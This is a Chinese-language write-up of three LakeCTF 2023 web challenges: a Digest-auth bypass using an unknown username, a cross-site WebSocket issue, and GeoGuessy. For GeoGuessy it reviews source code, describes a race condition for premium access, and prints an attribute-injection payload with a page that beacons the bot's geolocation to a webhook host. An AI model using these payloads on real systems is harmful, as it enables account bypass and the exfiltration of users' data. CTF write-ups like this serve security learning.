2023/11/06:Lakectf2023

digestif

题目提示了是digestif验证

关于digesitf

一种身份验证机制

工作方式如下:

1.客户端请求资源,但未提供明文密码。服务器返回一个 HTTP 401 未授权响应,其中包括一个随机数(称为 “nonce”)以及要求客户端提供凭据。

2.客户端接收到 401 响应后,会使用用户名、密码和一些其他信息(包括服务器生成的 nonce)进行哈希运算,然后将结果包含在新的请求中。

3.服务器接收到客户端的新请求后,也会使用相同的信息进行哈希运算,然后将结果与客户端提供的哈希值进行比较。

4.如果哈希值匹配,服务器允许客户端访问资源

请求包格式如下:

1
Authorization: Digest username="用户名", realm="领域", nonce="随机数", uri="请求的URI", response="摘要", qop=quality-of-protection, nc=nonce-count, cnonce="客户端随机数"

各字段功能如下:

Authorization:包含了客户端计算出的摘要信息,用于进行身份验证

username:用户名,表示客户端的用户名

realm:领域,通常是要求进行身份验证的领域名称

nonce:随机数,由服务器生成,并在每个请求中不同

uri:请求的URI,表示正在请求的资源

response:摘要,是客户端计算的哈希值,用于验证身份

qop:quality-of-protection,指定质量保护,通常是 “auth”

nc:nonce-count,计数器,用于保护免受重播攻击

cnonce:客户端随机数,用于混淆哈希值

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
...
if (isset($_SERVER['PHP_AUTH_DIGEST'])) {
$data = [];
$needed_parts = ['nonce' => 1, 'nc' => 1, 'cnonce' => 1, 'qop' => 1, 'username' => 1, 'uri' => 1, 'response' => 1];
$matches = [];

preg_match_all('@(\w+)=(?:(["\'])([^\2]+?)\2|([^\s,]+))@', $_SERVER['PHP_AUTH_DIGEST'], $matches, PREG_SET_ORDER);//相当于分割输入的内容

foreach ($matches as $m) {//遍历数组
$data[$m[1]] = $m[3] ? $m[3] : $m[4];//赋值,最终形式类似$needed_parts
unset($needed_parts[$m[1]]);//销毁变量
}

if (empty($needed_parts)) {
$user = $data['username'];
$realm = 'Restricted Area';
$password = $users[$user];//存储形式为user=>password,通过键值对查找对应的密码
$method = $_SERVER['REQUEST_METHOD'];
$uri = $_SERVER['REQUEST_URI'];
$nonce = $data['nonce'];
$cnonce = $data['cnonce'];
$qop = $data['qop'];
$nc = $data['nc'];

$expected_response = calculateDigestHash($user, $realm, $password, $method, $uri, $nonce, $cnonce, $qop, $nc);

if ($data['response'] === $expected_response) {
// User is authenticated
echo "Flag: $flag";
}
}
}

// If the user is not authenticated, send the authentication challenge
sendAuthenticationChallenge();
...

分析

注意到密码验证:$password = $users[$user];,当输入的user值没有能匹配的键值时,该变量的值为空,如输入user为1时,对于{$user}:{$password}会赋予1:的值,对于以上源码,验证所需其余参数均可控,可构造请求包

final

学长给的

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: chall.polygl0ts.ch:9009
Pragma: no-cache
Cache-Control: no-cache
Authorization: Digest username="1", realm="Restricted Area", nonce="f1bc3665aed04de3bccf5a1f135673d6", uri="/", response="ec174052e1bc1208e11e30287206cbc6", opaque="de7d27e200c0609db205b9a5900564b9", qop=auth, nc=00000010, cnonce="b7ee07296b09c16d"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


Cyber-library

CSRF

源码

先查看main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@sock.route('/admin/ws', bp=main)
@cross_origin(origins=ORIGINS)# 只能包含以下域名 防csrf cors
def admin_ws_handler(ws):
# Authenticate socket with Flask-Login
# https://flask-socketio.readthedocs.io/en/latest/implementation_notes.html#using-flask-login-with-flask-socketio
if current_user.is_authenticated: # 验证身份
print('authenticated')
while True:
command = ws.receive()
if command == 'increment':
current_app.counter += 1
ws.send('updated')
elif command == 'flag':
ws.send(os.getenv('FLAG') or 'flag{flag_not_set}')
else:
break
else:
ws.send('Not Authenticated')
ws.close()

需要以管理员身份访问获得flag

查看admin.js:

1
2
const ws = new WebSocket(`ws://${window.location.host}/admin/ws`);
ws.onopen = () => ws.send("increment");

主页面可以输入任意访问的连接,这样就可以自己起一个服务,用WebSocket握手成为管理员

解决

GeoGuessy

WebUtils/examples/LakeCTF2023_GeoGuessy/solve.py at main · abhishekg999/WebUtils (github.com)

https://siunam321.github.io/ctf/LakeCTF-Quals-23/web/GeoGuessy/

在12.26时居然还能打开:chall.polygl0ts.ch:9011

查看网页

首先打开网站是注册和登录按钮,登录需要token,注册会返回一个随机名字和一个token

点击home进入这个页面:

点击settings可以改名字:

输入pin可以提升用户权限

回到home,点击创建挑战,查看请求包:

1
2
3
4
5
{"latitude":-31.334873516134742,
"longitude":123.90320294572376,//创建挑战时选择的坐标
"img":"",//选择的图片
"OpenLayersVersion":"2.10",
"winText":""}

返回包里包含挑战的id:"785b62d52647d42f861b56df202560ed"

在这个页面可以选择一个用户名,向ta发送挑战(比如自己),查看请求包:

1
{"username":"NotableOne2508","duelID":"785b62d52647d42f861b56df202560ed"}

发送了用户id和挑战id

收到的挑战会在下面的Notification显示

会返回:"yes ok"

挑战界面:

(太卡了没加载出来)

burp查看请求时注意到有向/sandboxedChallenge?ver=2.13发包

如果点击submit按钮,会发送选择的坐标和挑战id,返回yes或no

查看代码

先查看docker-compose文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
services:
https-proxy:
image: nginxproxy/nginx-proxy
ports:
- "9011:80" # remote has this for https: - "9011:443"
volumes:
- /var/run/docker.sock:/tmp/docker.sock:ro
# remote has this for https: - ./certs:/etc/nginx/certs:ro
web:
build: .
init: true
environment:
- "PREMIUM_PIN=012-023-034" # diffrent on remote 在/routes/index.js从环境变量获得
- "FLAG=EPFL{fake_flag}" # diffrent on remote 在/utils/report.js
- "LATLON=12.454545,12.454545" # different on remote 在/utils/report.js
- "VIRTUAL_HOST=localhost" #remote uses "VIRTUAL_HOST=chall.polygl0ts.ch"
- "VIRTUAL_PORT=9011"
- "CHALL_URL=http://localhost:9011" # remote uses "CHALL_URL=https://chall.polygl0ts.ch:9011"
extra_hosts:
- "a.tile.openstreetmap.org:127.0.0.1" # avoid unncessary req to openstreetmap from bot
- "b.tile.openstreetmap.org:127.0.0.1"
- "c.tile.openstreetmap.org:127.0.0.1"

再看看index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sanitizeHTML = (input) => input.replaceAll("<","&lt;").replaceAll(">","&gt;")

router.get('/challenge', async (req, res) => {
if (!req.query.id) return res.status(404).json('wher id');
chall = await db.getChallengeById(req.query.id.toString())
if (!chall) return res.status(404).json('no');
libVersion = chall.OpenLayersVersion//这里可以注入html标签,只有简单过滤就被放在/challenge上了
img = chall.image
challId = chall.id
iframeAttributes = "sandbox=\"allow-scripts allow-same-origin\" " // don't trust third party libs
iframeAttributes += "src=\"/sandboxedChallenge?ver="+sanitizeHTML(libVersion)+"\" "
iframeAttributes += "width=\"70%\" height=\"97%\" "
res.render('challenge', {img, challId, iframeAttributes});
});

查看app.js:

1
2
3
4
5
app.set('view engine', 'ejs');
app.use(function(req, res, next) {
res.setHeader('Content-Security-Policy', "script-src 'self'; style-src 'self';")
next();
});

可以发现使用的模板引擎为ejs,且有一个CSP

然后可以看看challenge.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<link rel="stylesheet" type="text/css" href="/static/challenge.css">
</head>
<body>

<div id="challId"><%= challId %></div>
<img src="data:image/png;base64,<%= img %>">
<iframe <%- iframeAttributes %>></iframe>
<button id="submitButton">Submit position</button>
<div id="out"></div>
<script src="/static/challenge.js"></script>
<div class="notifications">
<%- include('./partials/notifications.ejs') %>
</div>

</body>
</html>

注意到使用的方式不一样:<%=<%-

<%= %>:该语法用于对变量进行 HTML 转义输出,确保不会引入不安全的 HTML。它会将输出的内容中的特殊字符进行 HTML 转义,例如将 < 转换为 <> 转换为 >,以避免潜在的跨站脚本(XSS)攻击

<%- %>:该语法用于对变量进行原始(非转义)输出,不进行 HTML 转义。这意味着如果变量的值包含 HTML 或其他标记,它们将以原样输出

也就是这里存在xss的点

回到index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
router.post('/createChallenge', async (req, res) => {
token = req.cookies["token"]
if (token) {
user = await db.getUserBy("token", token)//注意这里,提到了db.js
if (user && req.body["longitude"] && req.body["latitude"] && req.body["img"]) {
chalId = crypto.randomBytes(16).toString('hex')
if (user.isPremium) {//如果有权限的话,可以随便设置OpenLayersVersion
if ((!req.body["winText"]) || (!req.body["OpenLayersVersion"])) return res.status(401).json('huh');
winText = req.body["winText"].toString()
OpenLayersVersion = req.body["OpenLayersVersion"].toString()
} else {
winText = "Well played! :D"
OpenLayersVersion = "2.13"
}
await db.createChallenge(chalId, user.token, req.body["longitude"].toString(), req.body["latitude"].toString(), req.body["img"].toString(), OpenLayersVersion, winText)//将OpenLayersVersion写入db.js
return res.status(200).json(chalId);
}
}
return res.status(401).json('no');
});
//在/challenge也可以看到,libVersion来自db.js

db.js:

1
2
3
4
5
6
7
8
9
10
11
async function createChallenge(id,author,longitude,latitude,image,OpenLayersVersion,winText) {
return new Promise((resolve, reject) => {
db.get("INSERT INTO challenges VALUES (?, ?, ?, ?, ?, ?, ?)", [id,author,longitude,latitude,image,OpenLayersVersion,winText], async (err) => {
if (err) {
reject(err);
} else {
resolve()
}
});
});
};

因此想要xss只能从权限入手

再一次回到index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
router.post('/updateUser', async (req, res) => {
token = req.cookies["token"]
if (token) {
user = await db.getUserBy("token", token)
if (user) {//改权限
enteredPremiumPin = req.body["premiumPin"]
if (enteredPremiumPin) {
enteredPremiumPin = enteredPremiumPin.toString()
if (enteredPremiumPin == premiumPin) {
user.isPremium = 1
} else {
return res.status(401).json('wrong premium pin');
}
}
if (req.body["username"]) {//改名字
exists = await db.getUserBy("username", req.body["username"].toString())
if (exists) return res.status(401).json('username taken');
username = req.body["username"].toString()
if (username.length > 4096) return res.status(401).json('username too long');
user.username = username
}
await db.updateUserByToken(token, user)
return res.status(200).json('yes ok');
}
}
return res.status(401).json('no');
});
//好像没啥东西

既然是xss,去看看bot:

1
2
3
4
5
6
//index.js
router.get("/bot", limiter, async (req, res) => {
if (!req.query.username) return res.status(404).json('what are you even doing lol')
botChallenge(req.query.username.toString(),premiumPin)//调用了这个函数,在report里
return res.status(200).json('successfully received :)');
});

botChallenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
async function botChallenge(username, premiumPin) {
try {
dataPath = "/tmp/"+crypto.randomBytes(16).toString('hex');
execSync("cp -r ./profile "+dataPath)
const browser = await puppeteer.launch({ headless: false, args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-gpu', '--js-flags=--noexpose_wasm,--jitless', '--use-fake-device-for-media-stream', '--use-fake-ui-for-media-stream', '--use-file-for-fake-video-capture=./happy.mjpeg','--user-data-dir='+dataPath] });//启动浏览器
const page = await browser.newPage();//打开新页面
const context = browser.defaultBrowserContext()
console.log(context)
await page.setGeolocation({latitude:parseFloat(latlon.split(",")[0]), longitude:parseFloat(latlon.split(",")[1])})//将坐标设置为环境变量LATLON的值
await page.goto(CHALL_URL);//访问 CHALL_URL=http://localhost:9011" # remote uses "CHALL_URL=https://chall.polygl0ts.ch:9011
await page.waitForSelector('#registerLink')
await sleep(100)
await page.click('#registerLink');//到注册界面
await page.waitForSelector('#homeBut')
await sleep(100)
await page.click('#homeBut');
await sleep(100)
await page.waitForSelector('#settingsLink')
await sleep(100)
await page.click('#settingsLink')//到设置界面
await page.waitForSelector('#premiumPinInput')
await sleep(100)
await page.type('#premiumPinInput', premiumPin)//提升权限
await page.waitForSelector('#updateSettingsButton')
await sleep(100)
await page.click('#updateSettingsButton')
await page.waitForSelector('#createNewChallBut')
await sleep(100)
await page.click('#createNewChallBut')//创造新挑战
await page.waitForSelector('#OpenLayersVersion')
await sleep(100)
await page.select('#OpenLayersVersion', '2.13')//设置值
await page.waitForSelector('#winText')
await sleep(100)
await page.type('#winText', flag)//设置flag
await page.waitForSelector('#endMetadataButton')
await sleep(100)
await page.click('#endMetadataButton')
await page.waitForSelector('#realBut')
await sleep(100)
await page.click('#realBut')
await page.waitForSelector('#camerastartButton')
await sleep(1000)
await page.click('#camerastartButton')
await sleep(2000)
await page.waitForSelector('#captureButton')
await sleep(100)
await page.click('#captureButton')
await page.waitForSelector('#confirmButton')
await sleep(100)
await page.click('#confirmButton')//完成挑战设置
await page.waitForSelector('#usernameInput')
await sleep(100)
await page.type('#usernameInput', username)//发送挑战链接
await page.waitForSelector('#challengeUserButton')
await sleep(100)
await page.click('#challengeUserButton')//访问挑战链接
await sleep(1000)
play(page)//注意这个
await sleep(60000)
await browser.close();
} catch (e) {
console.log(e)
}
}

注意:在点击挑战链接时,会点击所有的<a>

1
2
3
4
5
6
7
8
9
10
11
12
async function play(page) { // admin accepts all challenges :)
while (true) {
try {
await sleep(100)
linkHandlers = await page.$x("//a[contains(text(), 'Click here to play!')]");
if (linkHandlers.length > 0) {
await linkHandlers[0].click();
}
} catch (e) {
}
}
}

那么就可以考虑在名字里带<a>

要点击的挑战链接在views/partials/notifications.ejs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<link rel="stylesheet" type="text/css" href="/static/notifications.css">
</head>
<body>

<script referrerPolicy="no-referrer" src="/static/socket.io.min.js"></script>
<script src="/static/purify.min.js"></script>
<script src="/static/notifications.js"></script>

<details id="notifications">
<summary>Notifications <b id="notifCount">(0)</b> <p id="preview"></p></summary>
<div id="notificationsList"></div>
</details>

</body>
</html>

/static/notifications.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const socket = io();
socket.on("status", (data) => {
if (data == "auth") {
cookies = document.cookie
tokenIndex = cookies.indexOf("token=")+"token=".length
token = cookies.substr(tokenIndex,32)
socket.emit("auth",token);
}
});

socket.on("notifications", (data) => {
notifCount.innerText = "("+data.length+")"
if (data.length == 0) {
return
}
notificationsList.innerHTML = ""
notifHTML = ""
for (let i = 0; i < data.length; i++) {
notifHTML += `<li>${data[i]}</li>`
}
notificationsList.innerHTML = DOMPurify.sanitize(notifHTML)//对内容进行过滤,但没有过滤<a>
preview.innerHTML = DOMPurify.sanitize("("+data[data.length-1]+"...)")
});

但经过上面的步骤并不能成功,还是要想办法成为高级用户

注意到botChallenge获得flag条件为“#winText”,需要获得bot的地址,也就是说要在自己服务器上挂载一个payload,让它能获得bot地址

解决

使用条件竞争可以获取premium帐户,/updateUse 路由从不定义用户。因此,它本质上是一个全局的变量,与提交premium pin 的bot和正在保存的用户竞争,以使帐户获得premium(非预期解)

贴一下文章来源的payload.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!doctype html>
<html>
<body>
<script>
function sendDataToWebhook(bodyData) {
navigator.sendBeacon("https://webhook.site/<your_token>", bodyData);
}
function onsuccess(position) {
sendDataToWebhook(`${position.coords.longitude} ${position.coords.latitude}`);
}
function onerror(error) {
sendDataToWebhook(`${error.code} ${error.message}`);
}

function geolocate(){
navigator.geolocation.getCurrentPosition(onsuccess, onerror, {enableHighAccuracy:true});
}

geolocate()
</script>
</body>
</html>

当bot访问时会发送经纬度

由于已经获得了premium,可以在生成挑战时(/createChallenge路由)更改OpenLayersVersion:

1
2
3
4
5
6
7
{
"latitude": ...,
"longitude": ...,
"img":"foobar",
"OpenLayersVersion":"2.13\"srcdoc=\"&lt;iframe src&equals;&quot;https&colon;&sol;&sol;ed80-{Redacted}&period;ngrok-free&period;app&sol;payload&period;html&quot; allow&equals;&quot;geolocation &ast;&quot;&gt;&lt;&sol;iframe&gt;\" allow=\"geolocation *\"",
"winText":"blah"
}

注入的内容:

1
"srcdoc="<iframe src="https://ed80-{Redacted}.ngrok-free.app/payload.html" allow="geolocation *"></iframe>" allow="geolocation *"

在这个 payload中,我们将 srcdoc 属性注入到 < iframe > 标记中。在 srcdoc 属性中,我们使用 src 创建了一个新的 < iframe > 元素,该元素指向 payload.html,即地理定位 JavaScript 代码。

然而,由于 bot 的 Chrome 配置文件只允许地理定位的起源 https://chall.polygl0ts.ch:9011,我们必须在注入的 < iframe > 中使用 allow = “ Geolocation *”,这样我们就可以在任何起源中对 bot 进行地理定位。(详情请参阅 https://developer.mozilla.org/en-us/docs/web/http/headers/permissions-policy/geolocation。)

创建一个新账号访问bot路由,这样知道了bot的id就可以给他发挑战,最后获得了地址完成bot的挑战即可